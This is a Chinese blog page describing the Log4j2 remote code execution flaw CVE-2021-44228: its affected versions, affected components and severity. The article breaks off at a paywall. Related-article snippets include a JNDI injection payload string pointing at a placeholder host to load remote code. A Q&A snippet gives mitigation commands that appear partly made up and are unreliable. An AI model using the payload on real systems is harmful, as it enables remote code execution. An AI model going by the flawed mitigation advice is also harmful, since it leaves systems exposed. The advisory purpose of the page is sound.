Apache Log4j2(CVE-2021-44228) 高危安全漏洞介绍

最新推荐文章于 2024-04-06 17:40:56 发布
最新推荐文章于 2024-04-06 17:40:56 发布
阅读量2.2k 收藏 5
点赞数 1
分类专栏： 漏洞详情及漏洞复现 文章标签： apache 安全 java web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_54899775/article/details/121915729
版权

目录

一、漏洞描述

二、受影响版本

三、已知受影响应用及组件

四、漏洞级别

五、攻击原理

六、攻击步骤

七、修复建议

Apache Log4j 2 是一款优秀的 Java 日志框架。该工具重写了 Log4j 框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。

此次漏洞是用于 Log4j2 提供的 lookup 功能造成的，该功能允许开发者通过一些协议去读取相应环境中的配置。该漏洞一旦被攻击者利用会造成严重危害。经过快速分析和确认，该漏洞影响范围极其广泛，危害极其严重，我们建议企业第一时间启动应急响应进行修复。该漏洞影响范围极广，建议相关用户尽快采取措施进行排查与防护。

一、漏洞描述

Apache Log4j2是一款优秀的Java日志框架。由于Apache Log4j2某些功能存在递归解析功能，未经身份验证的攻击者通过发送特别构造的数据请求包，可在目标服务器上执行任意代码，攻击者可直接构造恶意请求，触发远程代码执行漏洞。漏洞利用无需特殊配置，经团队验证，Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

二、受影响版本

Apache Log4j 2.x <= 2.15.0-rc2

三、已知受影响应用及组件

Apache Solr，Apache Flink，Apache Druid，srping-boot-strater-log4j2，dubbo，flume，Redis

更多组件可参考如下链接：https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/usages?p=1

四、漏洞级别

        高危、远程代码执行        

        通过JNDI

最低0.47元/天 解锁文章
景天zy
关注
  • 1
    点赞
  • 踩
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Apache Log4j2漏洞 (CVE-2021-44228) 分析与复现
未完成的歌~的博客
03-15 4751
Apache Log4j2 是一个开源的 Java 日志记录工具。Log4j2 是 Log4j 的升级版本，其优异的性能被广泛的应用于各种常见的 Web 服务中。Log4j2 在特定的版本中由于启用了 lookup 功能，导致存在 JNDI 漏洞。lookup 函数是用于在日志消息中替换变量的函数，是通过配置文件中的${}语法调用的，例如：如果在日志消息中使用了，那么 log4j2 将使用 lookup 函数从系统属性中查找名为 “my.property” 的属性值，并将其替换为实际值。
【漏洞复现】Apache log4j RCE 远程代码执行漏洞(CVE-2021-44228)
qq_45244158的博客
12-14 5476
Log4j任意代码执行RCE（CVE-2021-44228）前言一、漏洞描述二、受影响的版本三、复现过程1.从Vulfocus靶场获取测试环境2.攻击过程四、修复建议1.升级到最新版本2.缓解措施3.流量查询 前言 2021年11月24日，阿里云安全团队正式向Apache报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2的部分功能具有递归分析功能，攻击者可以直接构造恶意请求触发远程代码执行漏洞。 一、漏洞描述 Apache Log4j2 是一个基于 Java 的日志工具。这
Apache Log4j2 Jndi RCE CVE-2021-44228漏洞原理讲解
最新发布
m0_62670778的博客
04-06 1262
Log4j2（Log for java）是Apache软件基金会下一个优秀的java程序日志监控组件Log4j2远程代码执行漏洞细节被公开【影响版本Log4j 2.x
Log4j2 zero day(CVE-2021-44228) 漏洞浅析
swf3389的博客
12-18 3044
引言: 不管是什么编程语言，不管是前端后端还是客户端，对打日志都不会陌生。通过日志，可以帮助我们了解程序的运行情况，排查程序运行中出现的问题。在Java技术栈中，用的比较多的日志输出框架主要是log4j2和logback。我们经常会在日志中输出一些变量，比如：logger.info(“proj name: {}”, name),那作为一个优秀的全异步日志框架log4j2是否就是完美无瑕的呢?No,当然不是,最近全球知名开源日志组件 Apache Log4j2 被阿里团队曝出严重高危漏洞。该漏洞号称可以让黑客
CVE-2021-44228 Log4j2漏洞复现
Cover-3321的博客
01-07 1786
apache log4j: 是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞，导致攻击者可以控制日志内容的情况下，传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入，执行远程命令。
Log4j2安全 JNDI漏洞 CVE-2021-44228
Keep learing, and stay fast
12-15 1560
12 月 10 日，Apache 开源项目 Log4j 的远程代码执行漏洞（CVE-2021-44228） 被公开
Apache Log4j 远程代码执行漏洞(CVE-2021-44832)
10-25
Java 6 将 log4j 升级到 2.3.2 版本，Java 7 将 log4j 升级到 2.12.4 版本，Java 8 或更高版本将 log4j 升级到 2.17.1 版本
CVE-2021-25646-Apache Druid漏洞POC.py
02-26
CVE-2021-25646-Apache Druid漏洞POC.py
CVE-2021-21972：CVE-2021-21972漏洞利用
03-04
CVE-2021-21972 CVE-2021-21972工作于VMware-VCSA-all-6.7.0-8217866，VMware-VIM-all-6.7.0-8217866 :heavy_check_mark: VMware-VCSA-all-6.5.0-16613358 :heavy_check_mark:对于vCenter6.7 U2 + vCenter 6.7U2 +在...
CVE-2021-21975:Nmap脚本检查漏洞CVE-2021-21975
04-06
CVE-2021-21975 Nmap脚本检查漏洞CVE-2021-21975 漏洞参考： 博客 例子 nmap -p443 --script cve-2021-21975.nse --script-args vulns.showall IP
CVE10大漏洞总结【网络安全】
heikeyouyou的博客
05-19 2924
网络安全之cve十大漏洞总结
浅谈log4j2 CVE-2021-44228
kaydenlsr
09-09 807
Apache Log4j2
log4j 漏洞CVE-2021-44228 漏洞复现
kyliuw的博客
03-08 5991
log4j 漏洞CVE-2021-44228 漏洞复现
CVE-2021-44228 log4j RCE漏洞原理详细分析排查和修补
m0_61506558的博客
09-14 1319
影响范围和排查方法1、CVE-2021-44228影响版本使用了log4j的组件，并且版本在 2.x
Log4j远程代码执行漏洞（CVE-2021-44228）漏洞复现
热门推荐
鸥鹭忘机
12-11 1万+
基本信息 漏洞编号：CVE-2021-44228 影响版本：2.x<=2.15.0-rc1 poc地址：https://gitee.com/lcosmos/apache-log4j-poc 在此十分感谢我的寝室长Cosmos提供的poc和技术支持。 原理简述 当log4j打印的日志内容中包含${jndi:ldap://my-ip}时，程序就会通过ldap协议访问my-ip这个地址，然后my-ip就会返回一个包含java代码的class文件的地址，然后程序再通过返回的地址下载class文件并执行。 漏洞
Log4j2远程代码执行漏洞(cve-2021-44228)复现
citytwilight的博客
05-22 2674
Log4j2远程代码执行漏洞(cve-2021-44228)复现(反弹shell)
Log4j2 远程代码执行漏洞（cve-2021-44228）原理剖析
Hi~ 土拨鼠
12-17 6108
文章目录1、JNDI、RMI、LDAP、JNDI注入？Log4j2 rce原理影响版本修复思路 要了解本次Log4j2 rce的原理，首先我们得知道什么是JNDI，什么是JNDI注入，什么是RMI，什么又是LDAP… 本文中只讲原理，具体复现请转至：Log4j2 远程代码执行漏洞（cve-2021-44228）复现（反弹shell） 1、JNDI、RMI、LDAP、JNDI注入？ Java Name and Directory Interface：java命名和目录接口 是sun公司提供的一种标准的java
Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(四)—漏洞修复原理(2.15.0-RC1、2.15.0、2.16.0)
跳小闹成长记
12-14 3153
本文将和大家一起对Log4j2的漏洞进行全面深入的剖析。我们将从如下几个方面进行讲解。 1、Log4j2漏洞的基本原理 2、Log4j2漏洞在Java高低版本中的不同攻击原理 3、Log4j2漏洞在Java高低版本中的攻击步骤 4、Log4j2漏洞在2.15.0-RC1中被绕过的原因 5、Log4j2最终修复方案（2.15.0）的原理
apache log4j CVE-2021-44228漏洞怎么解决
06-03
漏洞描述： Apache Log4j 2.x中存在一种命令注入漏洞，攻击者通过构造恶意日志信息，可以在目标服务器上执行任意命令。 解决办法： 1.升级到最新版本 Apache Log4j 2.x发布了修复此漏洞的版本2.17.0，建议用户尽快升级到该版本。 2.使用安全策略文件 在升级之前，可以通过使用安全策略文件来限制日志信息中使用的类和方法，以减少攻击面。可以使用以下命令生成策略文件： ``` java -Dlog4j2.formatMsgNoLookups=true -Dlog4j2.disable.jmx=true -Dlog4j2.benchMillis=100 org.apache.logging.log4j.core.tools.GenerateExtendedLoggerInfo > log4j2-enum-class-loader.policy ``` 然后将策略文件放置在类路径下，例如在Tomcat中，可以将其放置在`$CATALINA_BASE/conf`目录下。 3.禁用Log4j JNDI Lookup功能 如果无法立即升级，可以通过在JVM参数中添加以下选项来禁用Log4j JNDI Lookup功能： ``` -Dlog4j2.formatMsgNoLookups=true ``` 或者在log4j2.xml配置文件中添加以下选项： ``` <Configuration> <properties> <property name="log4j2.formatMsgNoLookups">true</property> </properties> ... </Configuration> ``` 以上是针对Apache Log4j 2.x的解决办法，如果您使用的是其他版本的Log4j，请查看厂商的官方文档或者联系技术支持获取解决办法。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值